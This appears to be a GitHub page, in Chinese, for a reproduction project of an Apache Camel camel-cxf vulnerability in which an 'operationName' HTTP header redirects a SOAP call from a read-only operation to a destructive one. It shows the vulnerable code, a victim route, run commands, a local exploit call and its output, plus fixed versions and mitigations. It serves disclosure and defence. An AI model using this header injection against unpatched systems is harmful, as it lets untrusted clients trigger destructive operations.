oscerd/CVE-2026-46592
GitHub: oscerd/CVE-2026-46592
该项目复现了 Apache Camel camel-cxf 组件中由 operationName header 注入导致的 SOAP 操作重定向漏洞(CVE-2026-46592),展示了攻击者如何通过未过滤的 HTTP header 将只读操作重定向为破坏性操作。
Stars: 0 | Forks: 0
# camel-cxf `operationName` Header 注入复现项目 (CVE-2026-46592)
本项目演示了 Apache Camel 的 `camel-cxf` 组件中的一处 **SOAP 操作重定向**(混淆代理),追踪编号为 **CVE-2026-46592**。`cxf:` producer 会根据 **`operationName`**(以及 `operationNamespace`)Exchange header 来选择调用后端服务的 SOAP 操作,这些常量的值(`CxfConstants.OPERATION_NAME` / `OPERATION_NAMESPACE`)原本是普通字符串 `operationName` / `operationNamespace`。由于这些名称**不**以 `Camel` / `camel` 前缀开头,在 HTTP 边界仅拦截 Camel header 命名空间的 `HttpHeaderFilterStrategy` 会让它们从入站 HTTP 请求中直接进入 Exchange。在将 HTTP consumer(例如 platform-http)桥接到 `cxf:` producer 的路由中,任何 HTTP 客户端都可以设置 `operationName` header,并让 `CxfProducer` **解析并调用与路由预期不同的 WSDL 操作**——例如将读取操作替换为破坏性操作——从而影响后端 SOAP 服务。
安全公告:
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-cxf` (`camel-cxf-soap`;该常量位于 `camel-cxf-common` 中,因此 `camel-cxfrs` 也受到影响) |
| **受影响类** | `org.apache.camel.component.cxf.jaxws.CxfProducer#getBindingOperationInfo` 读取 `CxfConstants.OPERATION_NAME` (`"operationName"`) |
| **CWE** | CWE-20 (不当输入验证) / CWE-441 (非预期代理或中介 — 混淆代理) |
| **影响** | HTTP 客户端设置 `operationName` → producer 调用不同的 SOAP 操作(例如破坏性操作) |
| **前置条件** | 路由将 HTTP consumer 桥接到 `cxf:` producer;如果 consumer 未认证,则该漏洞可被未授权利用 |
| **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23526 (PR [apache/camel#23326](https://github.com/apache/camel/pull/23326)) |
| **致谢** | Yu Bao (PayPal) |
## 技术细节
```
// CxfConstants (affected 4.18.2) — the header name is the bare word "operationName":
public static final String OPERATION_NAME = "operationName";
// CxfProducer.getBindingOperationInfo (affected 4.18.2) — header wins over the endpoint default:
String lp = ex.getIn().getHeader(CxfConstants.OPERATION_NAME, String.class); // inbound "operationName" header
if (lp == null) {
lp = cxfEndpoint.getDefaultOperationName(); // only used if the header is absent
}
// ... the resolved name selects the BindingOperationInfo that is then invoked on the backend service
```
修复方案(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23526)将 header **值**重命名为符合 Camel 规范的格式 —— 将 `OPERATION_NAME` 从 `operationName` 改为 `CamelCxfOperationName`,将 `OPERATION_NAMESPACE` 改为 `CamelCxfOperationNamespace` —— 以便它们能像其他 Camel 控制 header 一样在传输边界被过滤。
Java 字段名称保持不变。
## 受害路由
```
from("platform-http:/api")
.convertBodyTo(String.class)
.to("cxf://http://localhost:9000/account"
+ "?serviceClass=com.example.AccountService"
+ "&dataFormat=POJO"
+ "&defaultOperationName=getBalance"); // the route's fixed, read-only intent
```
路由作者通过 `defaultOperationName=getBalance`(只读)锁定了预期的操作。但这种意图并未得到强制执行:producer 会优先使用入站的 `operationName` header,并且该名称在 HTTP 边界没有被过滤。后端 SOAP 服务(与 camel-cxf 自身测试的方式相同,在进程内的 9000 端口上发布)同时暴露了 `getBalance` 和具有破坏性的 `deleteAccount`。
## 仓库结构
所有组件都在一个独立应用中运行:后端 SOAP 服务、受害路由以及攻击者驱动程序。
```
CVE-2026-46592/
├── pom.xml # camel-platform-http + camel-cxf-soap 4.18.2 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── AccountService.java # SOAP contract: getBalance (read) + deleteAccount (destructive)
│ ├── AccountServiceImpl.java # backend impl; static state observed for verification
│ ├── SoapBackend.java # publishes the CXF SOAP service on :9000
│ ├── VictimRoute.java # platform-http:/api -> cxf: producer (defaultOperationName=getBalance)
│ └── ExploitController.java # attacker: legit vs operationName=deleteAccount
└── resources/
└── application.properties
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker(可选,用于容器化运行)
## 复现步骤
### 选项 A — Docker(推荐)
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 选项 B — 直接运行 jar 包
```
mvn clean package -DskipTests
java -jar target/cve-2026-46592-cxf-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
```
### 预期输出
```
backend state before: acct-001 present = true
=== 1) Legitimate call (no operationName header) — route intends getBalance ===
response: [balance=5000 for acct-001]
acct-001 still present: true
=== 2) Injected call (operationName=deleteAccount) — a destructive operation is invoked ===
response: [DELETED account acct-001]
deleteAccount invoked: true
acct-001 now deleted: true
>>> Confused-deputy / header-injection proof — an untrusted HTTP client redirected the SOAP
>>> operation from the intended getBalance to deleteAccount via the operationName header: true
```
## 攻击向量
任何将外部传输(HTTP 等)桥接到 `cxf:`(或 `cxfrs:`)producer 并允许不受信任的输入到达 Exchange header 的路由。攻击者除了请求体外无法控制操作的参数,但可以自由选择调用哪个 WSDL 操作。
## 推荐修复方案
升级至 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23526)。修复后,操作选择 header 被命名为 `CamelCxfOperationName` / `CamelCxfOperationNamespace`,并会在传输边界被过滤。如果桥接外部传输到 `cxf:` producer 的路由必须携带由客户端指定的操作,现在需要使用不带 `Camel` 前缀的应用层 header,并在传输的 `from` 和 `cxf:` 的 `to` 之间将其映射为 `CamelCxfOperationName`(详见 4.21 升级指南)。
## 缓解措施
在升级之前,请勿根据不受信任的输入来选择 CXF 操作:在 `cxf:` producer 之前,从任何不受信任的入口流量中剥离 `operationName` 和 `operationNamespace` header,并在路由中从受信任的来源设置操作。
## 免责声明
此复现项目仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:Apache Camel, HTTP头部注入, JS文件枚举, SOAP, 域名枚举, 漏洞复现, 请求拦截, 路由安全